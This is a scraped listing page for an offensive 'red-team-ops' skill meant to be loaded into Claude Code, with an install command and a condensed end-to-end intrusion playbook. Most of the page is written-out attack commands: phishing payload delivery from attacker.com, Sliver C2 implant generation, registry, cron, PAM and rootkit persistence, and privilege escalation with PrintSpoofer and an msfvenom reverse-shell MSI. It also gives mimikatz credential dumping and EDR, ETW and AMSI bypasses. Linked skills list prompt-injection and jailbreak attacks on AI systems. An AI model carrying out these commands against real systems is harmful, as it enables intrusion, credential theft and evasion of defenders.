active-directory-attac…
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu),…
Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land
$ npx -y skills add hypnguyen1209/offensive-claude --skill red-team-ops --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/red-team-opsContext preview
The summary Claude sees to decide when to auto-load this skill.
Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land
name: red-team-ops description: Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land metadata: type: offensive phase: post-exploitation tools: cobalt-strike, sliver, havoc, mythic, covenant, msfconsole, powershell-empire kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0005, TA0009, TA0010] depends_on: [exploit-development, edr-evasion] feeds_into: [threat-hunting, incident-response] inputs: [foothold_access, c2_channel] outputs: [persistence_mechanism, collected_data, exfiltrated_data]
# Office macro (VBA) # - AutoOpen/Document_Open trigger # - Download cradle: PowerShell IEX or certutil # - Sandbox evasion: check domain join, user interaction delay # HTA (HTML Application) mshta http://attacker.com/payload.hta # ISO/IMG mounting (bypass MOTW) # Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL # OneNote (.one) with embedded scripts # Drag-and-drop .bat/.hta behind fake "Double click to view" image # DLL sideloading # Find legitimate signed EXE that loads DLL from CWD # Place malicious DLL alongside legitimate EXE in delivery package
# Smuggling past email gateways: # - Password-protected ZIP (password in email body) # - HTML smuggling (JS constructs blob → downloads file) # - QR code to attacker-controlled site # - Legitimate file-sharing (OneDrive, Google Drive links)
# Sliver C2 sliver-server > generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe > mtls --lhost 0.0.0.0 --lport 443 > https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com # Domain fronting / CDN hiding # Use high-reputation domains (cloudfront, azure CDN) # C2 traffic appears as legitimate HTTPS to CDN # Redirectors # socat TCP-LISTEN:443,fork TCP:c2-server:443 # Apache mod_rewrite rules to filter blue team probes # Malleable C2 profiles (Cobalt Strike) # Mimic legitimate traffic patterns (Slack, Teams, O365)
# DNS over HTTPS (DoH) — blends with normal traffic # Domain fronting — SNI vs Host header mismatch # Named pipes — internal lateral movement without network traffic # SMB beacons — blend with normal AD traffic # Websockets — persistent connection through proxies
# Registry Run keys reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\path\payload.exe" # Scheduled Tasks schtasks /create /tn "SystemUpdate" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM # WMI Event Subscription (fileless) # __EventFilter + __EventConsumer + __FilterToConsumerBinding # DLL Search Order Hijacking # Place malicious DLL in application directory (loaded before System32) # COM Object Hijacking # Modify CLSID InprocServer32 to point to malicious DLL # Golden Ticket (domain-level persistence) # With krbtgt hash, generate tickets for any user indefinitely # DSRM (Directory Services Restore Mode) # Modify DSRM password → backdoor DC even if krbtgt rotated # Skeleton Key (in-memory DC patch) mimikatz "privilege::debug" "misc::skeleton" # Any user can now auth with password "mimikatz"
# SSH authorized_keys echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys # Cron job echo "* * * * * /tmp/.backdoor" | crontab - # Systemd service # /etc/systemd/system/update.service → ExecStart=/path/payload # LD_PRELOAD echo "/path/malicious.so" > /etc/ld.so.preload # PAM backdoor # Modify pam_unix.so to accept hardcoded password # Kernel module (rootkit) insmod rootkit.ko
# Token impersonation (SeImpersonatePrivilege) # Potato family: JuicyPotato, PrintSpoofer, GodPotato, SweetPotato PrintSpoofer.exe -i -c "cmd /c whoami" # Unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" # Weak service permissions # sc qc ServiceName → check SERVICE_CHANGE_CONFIG # Replace binary or modify binpath # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi # Credential harvesting mimikatz "privilege::debug" "sekurlsa::logonpasswords" mimikatz "lsadump::sam" mimikatz "lsadump::dcsync /user:Administrator"
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# GTFOBins for exploitation
# Sudo misconfigurations
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim → :!sh
# Capabilities
getcap -r / 2>/dev/null
# cap_setuid+ep on python3 → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
# Kernel exploits
uname -r
# Search exploit-db for kernel version
# Writable /etc/passwd
echo 'root2:$(openssl passwd pass):0:0::/root:/bin/bash' >> /etc/passwd
# Docker escape
# Privileged container: mount host filesystem
# Docker socket exposed: create privileged container# Unhooking ntdll.dll # 1. Map fresh copy of ntdll from disk # 2. Overwrite .text section of loaded ntdll with clean copy # 3. Syscalls now bypass EDR hooks # Direct/Indirect Syscalls # Skip ntdll entirely — call syscall instruction directly # Indirect: JMP to syscall;ret inside ntdll (avoids syscall-from-non-ntdll detection) # ETW Patching # Patch EtwEventWrite to ret immediately # Blinds .NET/PowerShell logging # AMSI Bypass # Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN [
A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline
Repo: hypnguyen1209/offensive-claude
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu),…
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles,…
Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning,…
Use when attacking an AI/ML system or model — prompt injection & jailbreaks (Crescendo, Skeleton Key, Best-of-N), RAG/vector poisoning, agentic/MCP…
Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo…
Use when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions,…